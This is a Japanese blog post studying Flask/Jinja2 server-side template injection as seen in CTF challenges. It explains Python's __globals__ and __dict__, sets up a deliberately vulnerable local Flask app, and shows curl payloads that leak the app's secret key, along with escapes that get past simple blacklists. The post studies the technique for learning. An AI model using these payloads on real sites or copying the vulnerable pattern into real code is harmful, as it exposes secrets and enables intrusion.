セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

Flask Jinja2 url_for.__globals__ などについて(pyjail)

//

あらまし

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

CTF的 Flaskに対する攻撃まとめ - Qiita

CTFでurl_for.__globals__など(PyJailと呼ばれているっぽい)SSTIを使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。

/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f


前後のアンダースコア2つ

pythonに疎いのでまずアンダースコアについて調べます。

Python Magic Method


magic methodと呼ばれるものになるそう。python自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+をする時__add__が呼び出される。__add__を書き換えておけば、+演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。

__globals____dict__

3. Data model — Python 3.9.2 documentation

こちらリンク先のCallable typesの節で、ユーザが定義する関数に生えるSpecial attributesとして__globals____dict__が紹介されてます。関数の__dict__はよくわかりませんが(古い投稿はあった__globals__はその関数が定義された名前空間の変数は見えそうですね。

__globals__

val1 = 1111
val2 = 2222

def func1():
    pass

print(func1.__globals__)
#=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass
    print(func2.__globals__)

func1()
#=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}

importを使って関数を読んだ場合の挙動を確認

#testmod.py
def test_mod_func():
    pass

val3=333
#test1.py
import testmod
val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass

print(testmod.test_mod_func.__globals__)

実行結果

$ python test1.py | grep val1
$ python test1.py | grep val2
$ python test1.py | grep val3
....snip...
, 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}

モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。

__dict__

組み込み型 — Python 3.9.2 ドキュメント

一方__dict__はオブジェクトに映えているようで、例えばクラスの__dict__にはクラス内の属性が入っているらしい。

val1=1111
val2=2222
class Test():
    val3=3333

a = Test()
print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None}
print(a.__dict__)      #=>{}
print(a.val3)              #=>3333
print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'

インスタンスにすると__dict__が空になるのはちょっとまだ追いきれていないです。。
ので、__globals____dict__も別に特別な何かというわけではないっぽい。

テンプレートエンジンとjinja2とFlaskとSSTI

CTFでよく使われるpythonフレームワークFlaskでそのテンプレートエンジンがjinja2なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。

次のアプリケーションを想定

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.secret_key = 'testtest'

val1=1111
@app.route('/', methods=['GET'])
def index():
    return render_template_string('{{'+request.args.get('ssti')+'}}')

app.run(host='localhost', port=8080)

次のペイロードをみてみる

url_for.__globals__.current_app.__dict__

API — Flask Documentation (1.1.x)

url_forはドキュメントの通り関数のようです。

$ curl 'http://localhost:8080/?ssti=url_for.__class__'
&lt;type &#39;function&#39;&gt;

と言うことで、__globals__も生えているはず

$ curl 'http://localhost:8080/?ssti=url_for.__globals__'                                                                                                   {&#39;find_package&#39;: &lt;function find_package at 0x7f44bfd50050&gt;, &#39;_find_package_path&#39;: &lt;function _find_package_path at 0x7f44bfd48f50&gt;, &#39;get_load_dotenv&#39;: &lt;function get_load_dotenv at 0x7f44..............snip

映えてました。

https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

Flask の session と g そしてコンテキスト | 民主主義に乾杯

次のcurrent_appは直接appにアクセスしないためにある変数のようです。ちゃんとは理解していませんが、appが保持しているものを覗けそうです。説明を抜粋すると

This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context().
#引用:https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

とあるので、今回はduring requestsの箇所に該当しそうです。url_for.__globals__で定義されたグローバル変数を覗けるので、それ経由で呼べます。

$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app'
&lt;Flask &#39;test&#39;&gt;


最後の__dict__は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばappに定義した変数などを見れそう。

$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__'
{&#39;subdomain_matching&#39;: False, &#39;error_handler_spec&#39;: {None: {}}, &#39;
............snip.................
 &#39;DEBUG&#39;: False, &#39;SECRET_KEY&#39;: &#39;testtest&#39;, &#39;
............snip.................
&#39;: []}

app.secret_key = 'testtest'ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。

その他ペイロードを組み立てるなど

この記事が詳しそう Jinja2 SSTI Research - HackMD

基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。

CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup

入力をGETクエリなどで受け取る場合

ブラックリストなどを作って、入力値を検証するのが良さそう。ただ

  • .が禁止されているなら、url_for['__globals__']
  • _が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']
  • globalsがが禁止されているなら、url_for['__\x67lobals__']

などすれば単純なチェックはすり抜けられるので、結構注意が必要

入力をパスで受け取る場合

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

上のサイトで紹介されているように、@app.route("/<path:template>")みたいな感じで受け取る場合はurl_for['__\x67lobals__']のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。

こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。